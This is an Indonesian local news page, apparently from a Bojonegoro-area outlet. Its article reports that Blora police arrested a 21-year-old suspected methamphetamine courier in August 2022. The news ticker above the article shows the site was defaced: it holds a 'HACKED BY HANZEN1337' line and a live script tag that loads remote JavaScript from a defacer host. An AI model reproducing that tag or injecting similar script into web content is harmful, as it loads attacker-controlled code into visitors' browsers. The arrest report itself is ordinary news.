News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Polres Blora Tangkap Satu Terduga Pengedar Narkotika

Polres Blora Tangkap Satu Terduga Pengedar Narkotika

Blora - Satuan Reserse Narkoba (Sat Reskoba) Polres Blora menangkap seorang pemuda berinisial WS (21), seorang warga Kecamatan Kayen, Kabupaten Pati, terduga pelaku pengedar narkotika jenis sabu-sabu.
 
Pelaku ditangkap petugas pada Rabu (17/08/2022), sekira pukul 09.30 WIB kemarin, saat hendak melakukan transaksi narkoba di wilayah Kecamatan Todanan yang hendak dipesan warga Kabupaten Pati.
 
Selain mengamankan pelaku, petugas juga mengamankan barang bukti narkoba jenis sabu yang dibungkus dalam plastik klip warna bening dan ditaruh di dalam bungkus rokok.
 
 
Kasat Resnarkoba Polres Blora Iptu Edi Santoso saat diwawancarai sejumlah wartawan membenarkan terkait penangkapan tersebut.
 
“Anggota kami di lapangan saat ini memang mengamankan satu orang pria yang diduga membawa satu paket sabu. Pemuda ini diamankan di wilayah Kecamatan Todanan,” kata Iptu Edi. Kamis (18/08/2022).
 
 
Iptu Edi Santoso mengungkapkan, terduga pelaku melakukan aksinya dengan modus menerima pesanan dan bertugas sebagai kurir.
 
“Informasi awal yang kita amankan ini sebagai kurir atau pengantar paket,” kata Iptu Edi Santoso.
 
Untuk pengembangan lebih lanjut, saat ini terduga pelaku masih dilakukan pemeriksaan oleh petugas Sat Resnarkoba Polres Blora.
 
 
Atas perbuatannya tersangka dijerat pasal Pasal 114 ayat (1) atau Pasal 112 ayat (1) Undang-undang RI Nomor 35 tahun 2009 tentang Narkotika.
 
"Tersangka diancam dengan ancaman pidana penjara minimal 4 tahun," kata Kasat Narkoba Polres Blora, Iptu Edi Santoso. (teg/imm)
 
 
Reporter: Priyo SPd
Editor: Imam Nurcahyo
Publisher: Imam Nurcahyo
 
Berita Terkait
1783873488.7736 at start, 1783873489.5535 at end, 0.77985692024231 sec elapsed